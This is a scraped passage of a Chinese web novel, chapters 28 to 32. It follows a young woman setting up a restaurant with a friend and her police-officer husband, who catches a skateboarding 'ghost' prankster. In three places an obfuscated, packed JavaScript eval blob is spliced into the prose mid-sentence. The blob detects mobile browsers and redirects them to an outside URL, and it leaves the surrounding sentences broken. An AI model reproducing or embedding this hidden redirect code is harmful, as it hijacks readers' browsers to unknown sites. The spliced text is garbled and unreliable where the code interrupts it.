李有福没想到徐秀竹这么痛快就答应留下他店里的所有东西,他也是个实在人,有些东西用的年头多了,他干脆就没算钱,直接送给了徐秀竹,还有厨房里剩的调料和米面粮油,他都是按照最低价格折给了徐秀竹。 加上谈好的半年一付的房租,徐秀竹一次性付齐了两千块钱。 徐秀竹跟李有福签了两年的合同,每半年付一次房租。李有福很仗义,他说如果徐秀竹哪天不想租了,提前跟他说一声就成,他一定把剩下的钱一分不差的退回来。 徐秀竹自然知道李有福是看在谭立新和薛艳的面子才这么照顾她,她谢过李有福,又说道:“李哥,要是哪天我的钱宽裕了,想买下你这个地方的话,你也一定要先紧着我。” “那是自然,这个地方我也不会再张罗着往外租或者卖了,你放心大胆的干就是了。”李有福跟徐秀竹透露道:“哥这房子买之前找高人看过了,绝对是风水宝地,嘎嘎生财!” 事实证明那位高人还真有两下子,要不是李有福的小舅子在南方找到了更赚钱的买卖,他还真舍不得把这地方转出去。 晚上陈远洲回到家,一进门就看到徐秀竹趴在桌子上,不知道在画着什么。他换了鞋,径直朝着徐秀竹走过去,还没等徐秀竹开口,就伸手抬起她的下巴,在她唇上吧唧亲了一下。 “画什么呢?”心满意足的陈远洲看了看那张纸。 徐秀竹和陈远洲的泰然自若不同,昨晚刚刚有了夫妻之实,她现在看到陈远洲还有点不自在。怕被陈远洲瞧出来,她故意低着头给陈远洲介绍她画的图纸。 “我打算重新装修一下店面,这边隔出一个区域专门卖面点,这边继续开饭馆。厨房也要分两块,面点需要分开单独做。” 徐秀竹不懂装修的事,也是第一次画图纸,陈远洲拿起那张纸看了一下,然后给她分析了一下目前这个布局的弊端。 “要是这样装修的话,店里面积的实际利用率会降低,进来的顾客也会被分流,我觉得你可以不用刻意区分面点区和堂食区,毕竟买面点的客人也可能留在来吃饭,吃饭的人也会买面点,你不用提前替他们做出选择。” 徐秀竹想了想陈远洲的话,觉得他说的很有道理。她之前面点卖的不错,所以就先入为主的只想把面点生意做大,这个想法确实有些局限了。 “那你觉得我还用重新装修吗?”徐秀竹虚心求教。 陈远洲接过徐秀竹手里的铅笔,在李有福原先的布局之上重新调整了一下,把各个区域都标注的很清楚。 徐秀竹看了看陈远洲改过的图纸,按照他的设计,不仅提高了原有面积的利用率,分区也更科学了,还不需要太大的装修工程。 徐秀竹朝他竖了个大拇指,陈远洲显然不满意她这么敷衍的夸赞,于是握住她的手指,眉头一挑:“这就完事了?”说着人就朝着徐秀竹靠了过来。 徐秀竹见状灵巧的闪到一旁,打着哈哈道:“厨房还有饭,我给你盛饭。” 陈远洲看着落荒而逃的小媳妇挑了挑眉。 也成,那就先吃饭,后做饭。 29. 第29章 第29章 徐秀竹开店的事,万里长征总算迈出了第一步。 店铺选址她很满意,接下来就是取个名字,去工商局办营业执照。 办营业执照需要准备不少材料,徐秀竹已经提前打听好。她趁着工作日去了工商局,工作人员仔细审核了她的身份证明、经营场所证明等材料后,确认没有问题。 营业执照上的信息都是年轻的工作人员一笔一划写上去的,他写的每一笔都牵动着徐秀竹的心。 工作人员写完后将营业执照交给徐秀竹,露出标准的八颗牙微笑,并说道:“祝您生活幸福,一切顺利。” 徐秀竹接过沉甸甸的营业执照,郑重道:“谢谢您。” 出门的时候她和进来的男人打了个照面,男人一眼认出徐秀竹,有些惊讶道:“你怎么在这?” 徐秀竹看了看他,然后想起他是之前在储蓄所门口晕倒的刘峰,于是笑着道:“你好,我是来办营业执照的。” 刘峰看了看她手里的营业执照,赞许道:“看来你是考虑好了啊!” 徐秀竹真诚道:“这也多亏了你当初的鼓励。” 刘峰问道:“是打算继续卖面点?” 徐秀竹点点头:“面点是一部分,打算开个饭馆。” 刘峰说餐饮行业还是很辛苦的,但是前景很好。现在家家户户的生活水平明显提高,对饮食的追求也开始多样化、精细化。 “我能看看你的营业执照吗?”刘峰客气的问道。 “当然。”徐秀竹说完就把手里的营业执照递了过去。 营业执照上贴着徐秀竹的彩色照片,照片上她的笑容温暖而真挚。 “真心饭馆,真是个好名字。”刘峰感叹:“年轻真好啊!” 徐秀竹看刘峰夹着包,猜测他也是来办事的,就简单问了一句,刘峰说他和几个朋友一起开了个装修公司,也是来办执照的。 “装修公司?”徐秀竹听完心里有个想法,于是问道:“刘哥,我的饭馆也想简单装修一下,不知道你们能干嘛?” 刘峰一听徐秀竹的称呼就乐了,“快别叫哥,还是叫我叔吧,我闺女马上满二十了!” 徐秀竹有些不好意思,主要是刘峰看着还真挺年轻的。 “你刚才说你的饭馆想装修是吧?我们当然能干了。”刘峰也没想到营业执照还没办下来,就来了第一单生意,他觉得这是个好兆头,于是爽快的说道:“你告诉我地址,我明天就带人过去看看。” “那太好了!”徐秀竹把地址告诉他,并约定好了时间。 工商局在香安区,离开工商局后,徐秀竹打算去市场看看张大姐,说起来她决定卖面点,还是受到了张大姐的启发。 市场依旧是人挤人的状态,徐秀竹好不容易挤进去,却发现张大姐并没有出摊,她就问了一下旁边的摊主。 “你找淑华啊?她家好像是出了点事儿,已经有些日子没来了。”正在炸麻花的大姐说道。 徐秀竹又问:“那你知道她家住在哪吗?” 大姐就知道个大概位置,但是具体门牌号不清楚,不过她告诉了徐秀竹张大姐和她丈夫的名字,让她去附近打听一下就知道了。 徐秀竹也不知道张大姐家出了什么事,她就买了点水果和罐头,按照地址找了过去。张大姐家这一片都是还没拆迁的平房区,徐秀竹绕的有点蒙,就问了一下路边的小卖部。 小卖部一听她要找张淑华,就给她指了路。徐秀竹去的时候就看到张大姐正在院子里打包东西。 “张姐。”徐秀竹不请自来,害怕给张淑华带来困扰,就站门口喊了她一声。 “妈呀!妹子!你咋来了!赶快进来!”张淑华还记得徐秀竹,对于她的到来更是意外,连忙把人请进屋。 徐秀竹路过院子里的大包小包,疑惑道:“你这是收拾东西呢?” 张淑华叹了口气,“快别提了。” 进屋后张淑华给徐秀竹倒了杯水,才跟她说起收拾东西的原因。 原来是他们租的房子到期了,房东说房子要卖了,不租了,让他们两口子尽快搬出去。 徐秀竹明白了,又说道:“我刚才去市场找你了,有个炸麻花的大姐说,你和姐夫有些日子没出摊了。” 一提到这事张淑华就满面愁容,她把徐秀竹领到了东屋,李胜正坐在炕上,他右腿打着厚厚的石膏,看样子伤得很严重。 李胜脸色不太好,但是精神头还行,他笑着跟徐秀竹打了个招呼,还让张淑华给她拿花生吃。 “你就别操心了。”张淑华给李胜的杯子里填满热水,就拉着徐秀竹出去唠嗑。 堂屋里,张淑华给徐秀竹抓了把花生,二人边吃边聊。 张淑华告诉徐秀竹,前一阵她们俩收摊回家的时候,被一辆小汽车撞了。她倒是没什么大事,但是李胜的右腿粉碎性骨折,又断了两根肋骨,送到医院的时候大夫说这真是万幸,要是肋骨插进肺里,人就没命了。 张淑华说得云淡风轻,可徐秀竹却听紧张了,她问道:“那姐夫现在没啥事了吧?” “大夫说养着就行,我这段日子就在家伺候他呢,所以没出摊。” 徐秀竹看着张淑华,觉得她比第一次见面的时候瘦了不少。张淑华说最近也是上火,吃不下喝不下的,虽说那个小汽车的司机给拿了医药费和营养费,可这罪不还得自己遭? “那你们接下来打算去哪?房子租好了吗?”徐秀竹问。 张淑华笑得有些无奈,“准备回家了,你姐夫现在这样也离不开人,我俩在这就是只出不进的吃老本,还不如回家,让我老婆婆在家伺候他,我还能出去挣一份钱。” 当初在市场的时候,徐秀竹帮了张淑华一次,张淑华就对面善的徐秀竹印象不错。今天徐秀竹知道她家里有事,还专程带了东西找过来,张淑华就觉得徐秀竹的心眼真挺好的,打算交下她这个朋友,就跟她多说了几句。 徐秀竹这才知道张淑华其实挺不容易的。她今年三十八岁,老家是几百里外木城的,夫家是滨城周边寿县的。她十岁的时候母亲过世,十二岁的时候父亲过世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14597459|154630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,之后她就带着八岁的弟弟去了叔叔家。可寄人篱下的日子不好过,她只有拼命干活才能给弟弟多争到一碗稀饭。 可老天爷做弄人,她弟弟十一岁的时候生了一场病,高烧不退,婶婶怕花钱,说什么不肯送他去医院,张淑华就背着弟弟走了十几里山路,可到医院的弟弟已经没了呼吸。 那年张淑华十五岁,失去了全部家人。 张淑华的婶婶是个黑心的,竟还想着把她嫁给老鳏夫换彩礼,张淑华不认命,就逃了出来,一路要饭来了滨城。 一个小姑娘讨生活不容易,她硬是把自己逼成了泼辣的性格。她觉得被人嫌,被人怕,也好过被人欺负。 张淑华能干,会过日子,可这样的性格也让很多男人望而却步。有脾气的觉得她不淑女,没脾气的又觉得她泼辣,所以一直到二十九岁张淑华也没找到合适的对象。 直到三十岁那年,她遇见了小他一岁的李胜。那年对于李胜来说,是人生中最黑暗的日子。父亲去世,他又发现结婚三年的妻子原来是骗婚,被戳穿后卷还走了家里所有的钱。家里突遭变故,他母亲也大病了一场,为了治病借了不少钱。母亲病好后,他为了赚钱还债,就来到滨城打工。 二人一开始都在建筑工地搬砖,李胜天生一副好脾气,对谁都是笑呵呵的,张淑华就注意到了他。后来有人欺负李胜,张淑华看不过去就替他出头,结果就有人笑话李胜是个靠女人的窝囊废,俩人的关系也被传的很难听。 张淑华那个时候就对李胜有意思,她拎着板砖找那人理论,要不是李胜拦着,她非得把那人脑袋砸开花。后来那人找了几个朋友报复,李胜拼命护着张淑华,二人也算是患难见真情。 后来二人就走到了一起。外人都说李胜脾气好的有些窝囊,可张淑华却觉得,李胜无论何时都能保持理智,跟她正好互补。 两个人都是务实的人,日子也慢慢的好了起来。他们还有了一个儿子,今年六岁,在寿县跟着奶奶。 张淑华在聊起这些的时候,就像在讲一个故事,可徐秀竹的内心却久久不能平静。 某些程度上,她觉得自己和张淑华很像。 张淑华失去了家人,但是不认命,遇到合适的人也敢主动争取,再难也要给自己争个未来。 她虽然有家人,但是已经没有家。她孤注一掷选择了陈远洲,也只是不甘心被命运裹挟而已。 徐秀竹想了想,对张淑华说道:“姐,要不咱俩一起干吧?”说着她把今天办理的营业执照拿给张淑华看:“我打算开个饭馆,地方选好,执照也办完了,但是我一个人肯定不行,正想找个人合伙,你要不要和我一起?” 张淑华看着徐秀竹的营业执照,“真心饭馆?咋想着叫这个名字呢?”现在好多饭馆都是老板的姓或者名,再不就是一些寓意好的,什么有福旺福、升官发财的。 徐秀竹目光真挚的看着张淑华:“我总觉得人只要肯用真心,就一定能换来真心,就算被辜负,也会坚定我们前进的脚步,最起码不会让我们自己的心变得冷漠和麻木。” 30. 第30章 第30章 张淑华没读过几年书,讲不出什么大道理,可她觉得徐秀竹这番话说的是真好。 人不仅要活着,还要活得清醒明白,热热闹闹才行。 张淑华其实是不想回家的,虽然回家能守着孩子,孝顺老人,可寿县的赚钱机会肯定不如滨城,她想趁着现在还年轻,多攒些钱,让家里的老人和孩子能早点过上好日子。 她去东屋找李胜商量了一下,很快二人就达成一致,决定留在滨城,跟着徐秀竹一起干。 徐秀竹很开心,信誓旦旦道:“姐,我觉得咱这事能成。” 张淑华也是个乐观的,“必须成啊!咱这叫啥来着?”她想了一下,然后说道:“哦对,咱这叫强强联合!” 徐秀竹让张淑华和李胜今天就跟她回去,正好她家里还有个空房间,他俩可以先住着。至于这些东西,她找人帮忙收拾。 张淑华说什么都不肯,哪能随随便便就住到人家里去?这是给人家添麻烦呢。她说她会在饭馆附近租个房子,这样也方便。 可徐秀竹却说房子哪能是说租就租的,况且他们现在的房东已经给出最后期限,明晚之前必须把房子空出来。那租到房子之前总不能睡大马路吧? 李胜在屋里也听到了二人的对话,他招呼张淑华过去,提议他们可以在饭馆里住几天,反正饭馆一时半会儿也不能开业,他们正好可以趁这个时间找房子。 徐秀竹不同意,她说饭馆连张床都没有,再说李胜现在这样也不方便。 张淑华却觉得李胜这个主意好。她让徐秀竹放心,她之前连桥洞子都睡过,饭馆的条件不比桥洞子好多了? 徐秀竹拗不过张淑华,就帮着她把该收拾的东西都收拾好,还说明天下午会过来接他俩。 晚上吃饭的时候,徐秀竹跟陈远洲提起了张淑华和李胜的事。她说饭馆早晚都要招人,她觉得张淑华两口子就挺靠谱的,会是很好的合作伙伴。 素了两辈子的陈远洲一朝开荤,整个人都透着神清气爽,他这两天心情都很好,于是说道:“你做主就行。” 徐秀竹呲着牙笑了一下,说道:“我还有件事想请你帮忙。” 陈远洲一听更高兴了,他的小媳妇终于肯找他帮忙了! “啥事,说,保证办的利利索索。”陈远洲语气都有点迫切了。 徐秀竹不知道陈远洲为什么这么高兴,继续说道:“你能帮我找个车吗?能拉东西的那种,我答应张姐明天下午去帮她搬家,她丈夫腿骨折了,有个车能方便点。” “小事儿。”陈远洲一口答应,“明天中午你在家等我。” “你可真好。”徐秀竹都没意识到自己的语气是在撒娇。 陈远洲听得心里这个舒坦,恨不得现在就出去找车搬家! 第二天上午徐秀竹先去饭馆等刘峰,刘峰带着两个人不到九点就到了。 徐秀竹把陈远洲修改过的简易图纸拿给刘峰,三个人商量了一下,说工程并不复杂,五天就能完工,他们也给了一个很合理的装修价格,徐秀竹觉得可以。 刘峰和徐秀竹约好,明早八点准时开工。徐秀竹说她有两个朋友想在饭馆住几天,不知道装修会不会对他俩有影响。 “厨房的变化最小,可以放在最后动工,你先让你两个朋友暂时住厨房吧。”刘峰给了个建议。 商量好装修的事,徐秀竹就回家等陈远洲。不到十二点,陈远洲回来了。 二人简单吃了点饭就出发。到小区外面徐秀竹才知道,陈远洲竟然找了辆双排座的卡车。 徐秀竹还是第一次坐陈远洲开的车。路上的时候她问陈远洲在哪里找的车,陈远洲说他有个朋友是开运输公司的,找他借的。 徐秀竹有点佩服陈远洲的交际能力。明明是跟她一起到的滨城,但感觉陈远洲已经认识了很多人。 快到张淑华家的时候,车子就开不进去了,只能停在道边。张淑华早早就收拾完,就怕等徐秀竹来的时候还要帮她忙活。 徐秀竹给张淑华和李胜介绍了一下陈远洲,张淑华知道了陈远洲在公安局上班,那肯定很忙,还要抽时间过来帮忙,心里还有些过意不去。 搬东西的时候有陈远洲帮忙,张淑华和徐秀竹就可以挑些轻松的拿。东西都搬上了车,张淑华感激道:“真是多亏你们两口子帮忙,不然我和胜子就得抓瞎。” “姐,以后客气的话咱不说了,咱可是要一起合作干事业的。”徐秀竹用袖子擦着脑门上的汗,陈远洲注意到后从兜里掏出纸递给她。 张淑华和李胜到了饭馆后,都觉得饭馆的位置和环境很不错。他们搬了几张桌子到厨房,拼到一起先当床用。 张淑华惦记着租房子的事,徐秀竹让她先收拾着,“我去趟街道办,我有个嫂子在那工作,消息应该更灵通一些。”说完她就出了门。 街道办的办公室里,薛艳正在调节邻里纠纷。她注意到徐秀竹过来后,眼神示意她先等会,徐秀竹点点头,就在外面听着薛艳苦口婆心的劝两个人。 半个小时后,两位大姐总算握手言和,薛艳送走二人后就招呼徐秀竹进来,她说了太多话,灌了一缸子水嗓子才好受些。 “嫂子,你这工作可不是一般人能干的,我听了这么一会儿就已经迷糊了,你还能让那两位大姐笑着出门。”徐秀竹竖了个大拇指夸赞道。 她刚才在外面听了半天,还真是公说公有理,婆说婆有理,稍不留神就会被带进沟里,也多亏薛艳一直条理清晰的规劝二人。 这种事薛艳常见,已经很习惯了,“都是些鸡毛蒜皮的事儿。你说重要吧,又都要不了命。你说不重要吧,可这老百姓过日子,哪有那么多惊天动地的大事?还不都是些家长里短的小事儿。” 她这么多年的街道工作也总结出了经验,简单来说就是十六个字,“将心比心、设身处地、推己及人、换位思考”。 永远别觉得高人一等,都是平头老百姓,都想把日子过好罢了。 薛艳听徐秀竹说明来意后,立马在桌子上那一堆材料里翻了起来。她说这附近还真有几户人家去了南方,临走之前把钥匙放在了街道办,托她们把房子租出去,还说要是实在租不出去,街道办也能帮忙勤去看看房子。 “这两家不行,都是顶楼,容易漏。”薛艳先帮着筛选了一下,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14601487|154630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这家面积大,里面装修好,家具齐全,房租也贵一些,你朋友要是就两口人的话,没必要租这么大的房子。” 最后还剩三家,薛艳觉得还不错。徐秀竹问她什么时候能看房子,薛艳从抽屉里掏出一串钥匙,笑着道:“随时啊!” 徐秀竹带着薛艳去找张淑华。三个人去看房子的路上,薛艳总算想起来在哪见过张淑华,她说她买过好几次张淑华家的油炸糕。 徐秀竹笑道:“我跟张姐商量过了,她可以在饭馆里继续卖油炸糕,以后想吃咱们就不用跑那么远了。” 薛艳一听乐了,“那我指定第一个买!” 三家房子张淑华都看了,最后定了那个小两室的二楼,虽然房子旧了点,但是离饭馆很近,走路也就几分钟。 薛艳说道:“这家人我知道,两口子原来都是木材厂的,后来办了停薪留职,去南方做生意了。我办公室有他们之前留的电话,一会回去我就打给他们,跟他们定一下。” 三个女人都是说干就干的性格,一下午就把房子的事敲定了。等明天汇了款,拿了钥匙,就能搬进去了。 张淑华回来跟李胜一说,李胜都惊了,他知道自己媳妇一向是雷厉风行的性格,但也没想到这么快,这么顺利。 “咱们这回是遇上好人了。”张淑华还说等搬进去之后,她要请徐秀竹两口子和薛艳吃顿饭,表达感谢。 晚上徐秀竹本来打算让张淑华和李胜到家里吃饭,可这二人说什么也不干。张淑华说李胜的腿脚也不方便,他们二人随便吃点就行,可饭点时候徐秀竹还是把饭做好送了过去。 谭立新和陈远洲晚上都没回来,徐秀竹就和薛艳还有谭松一起吃的。 晚上十点,徐秀竹见陈远洲还没回来,就先睡了。此时刑侦队里,陈远洲正在给赵无双“化妆”。 赵无双顶着一张吓死人的大白脸,甩了甩宽大的袖子,十分委屈道:“哥,一定要这样吗......” 陈远洲清了清嗓子,忍住想笑的冲动:“这招叫引蛇出洞。” 赵无双指着一旁抱着膀看热闹的林寻一,抗议道:“那为啥不让他扮鬼?” 林寻一听后指了指自己的脸:“我这一脸正气的哪里像鬼?” 赵无双一听直接急了,“你啥意思啊!” “你先坐下。”陈远洲把濒临炸庙的赵无双按到凳子上。 “来来来,看我找到了什么好东西!”谭立新举着一管口红兴冲冲的回来,“王强是不是说过,那个怨鬼还喜欢抹红嘴唇儿?” 赵无双彻底无语,没好气道:“谭队!我真是谢谢你了!” “不谢不谢,都是为了工作嘛。”谭立新把口红交给林寻一,“你帮小赵涂上,我和远洲再去对一下行动方案。” 陈远洲和谭立新前脚刚出门,赵无双后脚就要逃,嘴里还大喊着:“你不要过来啊!” 林寻一仗着身高优势,像拎小鸡仔似的,一把薅过赵无双,义正言辞道:“我们要服从领导命令。” “妈妈,我想回家......” 赵无双被林寻一压在桌子上,被迫涂了口红,他觉得自己不干净了。 31. 第31章 第31章 晚上十一点整,刑侦队的人已经做好了出发前的准备。 按照偷车贼王强的口供,命案发生那晚十一点左右,他们一行四个人正在顺锦路的自行车保管站实施盗窃。就在他们一人推着一辆车准备撤的时候,被保管站的工作人员发现。 四人慌乱逃走,保管站的工作人员在追赶的时候摔了一跤,没追上他们。等他们逃到安全点后,王强提议再杀个回马枪,他觉得保管站的人肯定想不到他们还会回去。 可就在几个人原路返回的路上,发现了已经断气的保管站工作人员。王强怕有人发现工作人员的尸体,再牵扯出他们偷车的事,于是几个人一拍即合,决定把保管站的工作人员扔到吉运桥下。吉运桥很高,桥下经常有醉酒摔死的流浪汉。 就在他们抬尸体的时候,忽然看见旁边站着一个没腿的“鬼”。他们之前听人说过,顺锦路这一片半夜闹鬼,原本还不信,可如今真的见到了,个个吓得屁股尿流,连抛尸也顾不上了。 王强跑的时候还回头看了一眼,那个鬼就那么丝滑的“飘”走了! 几个人回去之后越想越不对劲,他们一致觉得,保管站的工作人员一定是干过什么缺德事,才会被“怨鬼”索命。 保管站工作人员的尸体已经找到了,江铭说他虽然摔倒时头部受到创伤,导致硬膜外血肿,但这并不是致命伤。死者有原发性的器质性心脏疾病,死亡原因正是因为过度惊吓,造成了心脏骤停。 所以刑侦队觉得,王强几个人说的可能真的是实话,他们那晚确实见到了“鬼”。再加上对顺锦路附近居民的走访,他们确实也听说过晚上闹鬼的事,但这个“鬼”还挺讲究的,不伤人,就吓唬人,有些路过的倒霉蛋会被吓得连钱包都丢了。 陈远洲和谭立新商量了一下,必须要把这个装神弄鬼的家伙揪出来。可自从保管站的工作人员出事之后,这个鬼就再也没出来过。 于是陈远洲就想了这么个主意,让赵无双按照王强的描述扮成鬼,引蛇出洞。 至于那个鬼为什么是飘走的,陈远洲猜测他脚下一定是踩了什么东西,只不过被他身上宽大的衣袍盖住,造成了视觉误差。 顺锦路那片路况一般,结合时代特点,陈远洲能想到的也只有滑板了。 目前滑板在国内还是很小众的运动,很少有人听过,所以当他准备做个滑板的时候,刑侦队上下还都挺好奇。 滑板做好之后,陈远洲就让赵无双抓紧练习。赵无双还不知道自己要扮鬼的事,只觉得滑板是个挺新鲜的玩意,玩得不亦乐乎。他本身运动细胞就发达,很快就掌握了要领。 陈远洲发布了行动命令,赵无双已经被画得面目全非了,公安局里灯火通明的,他实在没脸面堂而皇之地出去,于是鬼鬼祟祟的夹着滑板,紧贴在林寻一身后出去。 治安队的李建设刚带人抓了几个喝酒闹事的回来,赵无双从他身边过去,李建设回头了眼,对身边的徒弟说道:“刚才过去的那是个啥玩意儿?” 冯康也没看清楚,李建设撇撇嘴,吐槽道:“这刑侦队一天到晚的就知道整些幺蛾子。” 刑侦队一行人到了顺锦路后,按照计划,各自找好位置。演员赵无双蹲在角落里郁闷,差几分钟十二点,他踩着滑板“飘”了出来,然后邓回和姜越就装作被鬼吓到的样子,边跑边大喊“有鬼啊”。 赵无双就这么“飘了”半个多小时,正版鬼终于上线。 跟陈远洲推测的一样,这个鬼就是这一片的住户。因为出了人命,他本想避避风头,就一直没出现。今晚听到了邓回和姜越的声音后,他怕有人戗行,就扮上出来看看情况。 然后他离老远就看到一个山寨的自己在路上飘荡。他没想到还有人和他一样喜欢滑板运动,一激动就大喇喇朝赵无双飘了过来。 “哥们,你也喜欢滑板啊!” 赵无双一听那声音是个年轻人,就故意挑衅道:“咋滴?不服碰一下?” “哎呦卧槽!口气不小啊!” 那货也是个愣头青,竟然直接加速滑了过来,赵无双水平不行,躲闪不及时,直接被他撞倒,摔了个狗吃屎。 “你这么菜啊!” 愣头青话音刚落,就被从四面八方窜出来的刑侦队员按住。 “卧槽?你玩阴的?”被按在地上的愣头青唧唧歪歪道。 赵无双一把抢过林寻一手里的手电筒,他蹲在愣头面前,手电筒就对着自己那张惨不忍睹的脸,咬牙切齿道:“爷爷我就玩阴的了,怎么着?” “你这画的什么啊!一点美感都没有,丑死了。”愣头青被押走的时候还不忘嘲讽了赵无双一番。 徐秀竹早上起来的时候也没见到陈远洲,就知道他肯定又忙了一晚上。今天刘峰他们要来装修面馆,她早早就去等着,还帮张淑华和李胜带了早饭。 昨晚徐秀竹临时又有了个想法,她想在饭馆里隔出两个单间,这样可以提供给需要包间的客人。 开工前她和刘峰沟通了一下,刘峰觉得这倒是不难,就是有点费事,估计工期得一个礼拜。 徐秀竹也不差这两天,毕竟慢工出细活。几个人说干就干,徐秀竹趁着刘峰备料的时候,跟他闲聊了几句。她记得刘峰是建筑队的负责人,不知道为什么突然想着开装修公司了。 刘峰现在还是建筑队的负责人,他说滨城现在发展速度很快,楼房一栋接着一栋的盖着,装修行业也是形势一片大好。正好这些年搞建筑也认识不少人,他就跟几个朋友合计着开了个这个装修公司。 “你放心,他们几个都是我的把兄弟,我敢保证技术绝对过硬。”刘峰说道。 徐秀竹咧嘴笑了笑,“有刘叔这话我肯定放心!” 午饭是徐秀竹准备的,几个人忙活了一上午,吃着香喷喷热腾腾的饭菜,都对徐秀竹的手艺和周到赞不绝口。 刘峰也是见过世面的人,平时应酬不少,别说滨城,就是周边的几个城市有名的饭店也是吃过的,可即使吃过那么多名菜贵菜,他还是被徐秀竹的厨艺惊艳到。 明明都是一些随处可见的普通食材,可徐秀竹还是做出了自己的特色。 刘峰觉得徐秀竹的好厨艺不仅体现在菜的味道上,更可贵的是能感受到她做菜时花的心思。 一个对待简单食材都不敷衍的人,也是个热爱生活的人吧? “刘叔,你觉得我的菜做的怎么样?”徐秀竹笑眯眯的搬了个板凳坐了过来。 刘峰立马竖大拇指:“等你正式开业以后,我一定带朋友过来捧场!” “那我先谢谢叔了。”徐秀竹又说道:“叔,你们工地上的工人中午都吃什么啊?” 刘峰也是个人精,一下就听出徐秀竹话里的意思,他笑道:“你这小丫头脑子倒是活络,店还没开业呢就想着谈生意了。” 徐秀竹最近看了很多报纸,其中就有一些关于建筑工地的报道,她印象最深的就是,有一个工地五十多名工人,集体食物中毒的事。好在这些工人都没有生命危险,但是为工地提供午餐的饭店被追究了责任,已经被强制停业整顿。 “人是铁饭是钢,一顿不吃饿得慌。”徐秀竹早就想好了说辞,“尤其是工地,那劳动量多大,工人们多辛苦呀,不吃饱吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14617814|154630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好哪有力气建设我们的城市。” 刘峰笑呵呵的听着徐秀竹继续往下说。她说如果她可以承包刘峰建筑队的午饭,保证让工友们吃得放心,吃得满意! 徐秀竹这张人畜无害的小脸,搭配上她真诚的话语,很难不让人信服。刘峰被她说动了,他说需要回去商量一下,过两天就给她答复。 “叔,再喝点水吧。”徐秀竹一听有希望,立马把泡好的茶给刘峰倒了一杯。 张淑华也已经给房东汇完款,从薛艳那拿了钥匙。正好刘峰几个人在店里,三下五除二就帮着她把东西搬了过去。徐秀竹说店里这几天都在装修,暂时也不需要张淑华,就让她在家好好收拾一下。 陈远洲这边也是一切顺利。抓回来的“鬼”是个刚满十八岁的小鬼,叫江豆,洗完脸一看就是个还没长开的小屁孩。 一进审讯室还没等人问呢,江豆就跟倒豆子似的,自己交代了。 因为痴迷滑板运动,江豆一直想参加比赛。可国内的赛事很少,还都在南方的大城市,无论是车票还是报名费都是一笔不小的费用。 江豆家里条件不好,父母也不支持他玩滑板,于是他就想了这么一个办法,利用会滑板的优势装鬼吓人,等他们被吓得慌不择路的逃跑时,再去捡他们落下的钱包、公文包这些东西。 而那个自行车保管站的工作人员,确实是在摔倒后遇到了他。 “哥,我嘴唇还红不?”下班的时候赵无双还噘着嘴问陈远洲。 “红。”陈远洲看了一眼。 赵无双一声哀嚎,“谭队从哪弄得破口红啊!还擦不掉了!”说着郁闷的用手又蹭了蹭。 陈远洲扒拉掉他的手,“你跟自己的嘴有仇啊?都快层秃噜皮了,能不红吗?” “哦。”赵无双一听原来是这个意思,又问道:“哥你一会儿干啥去。” “回家。”陈远洲走出几步后有点不放心,回头看着赵无双,警告道:“不许跟着我。” “多么无情的话语啊!”赵无双站在原地,目送着陈远洲走远。 邓回也出来了,见到赵无双傻站着,问道:“大姑娘在这站着干啥呢?” 他这一整天都管赵无双叫大姑娘,听得赵无双牙根都痒痒。 “老子纯爷们!”赵无双直接跳到邓回背上,双腿缠住了他的腰。 二人打打闹闹的往外走,没注意到一直跟在后面的林寻一。 林寻一看着赵无双的背影,脑海里忽然浮现出他那张大白脸和红嘴唇。林寻一吓了一跳,立马甩了甩头,嘟囔道:“妖孽啊!” 陈远洲回家之前先去了饭馆,刘峰几个人刚准备走,正好和陈远洲打了个照面。徐秀竹给介绍了一下,二人握了握手,也算认识了。 晚上徐秀竹舒舒服服的洗了个澡,陈远洲仔细帮她擦着头发,头发擦的半干后,他从口袋里掏出一管口红递给徐秀竹。 “给我的?”徐秀竹拧开看了看。 这管口红的颜色跟赵无双涂的那个差不多,虽然赵无双涂上很惨烈,但是陈远洲当时看着,就觉得徐秀竹涂的话一定能好看,所以他下了班趁着商场没关门就去买了一个。怕被赵无双那个跟屁虫发现,还特意警告他别跟着。 徐秀竹长着大还没用过口红,她甚至都没化过妆。她看着口红,还有点不好意思涂。 “我帮你。”陈远洲接过口红,小心翼翼的替她涂着。 陈远洲一个大老爷们哪会做这种事,涂完他总觉得哪不对劲。 徐秀竹照了照镜子,看着自己瞬间变得宽厚的嘴唇,十分认真的问陈远洲,“你是喜欢香肠吗?” 32. 第32章 第32章 滨城地处东北,四季分明。进了六月,正午的气温虽有升高,但早晚还是比较凉爽,徐秀竹很喜欢这样的天气,感觉很舒服。 刘峰建筑队还有事,之后几天的装修就没参与,不过他很快就给了徐秀竹答复,他说等徐秀竹的饭馆正式开业后,可以先负责他们三队的午餐。 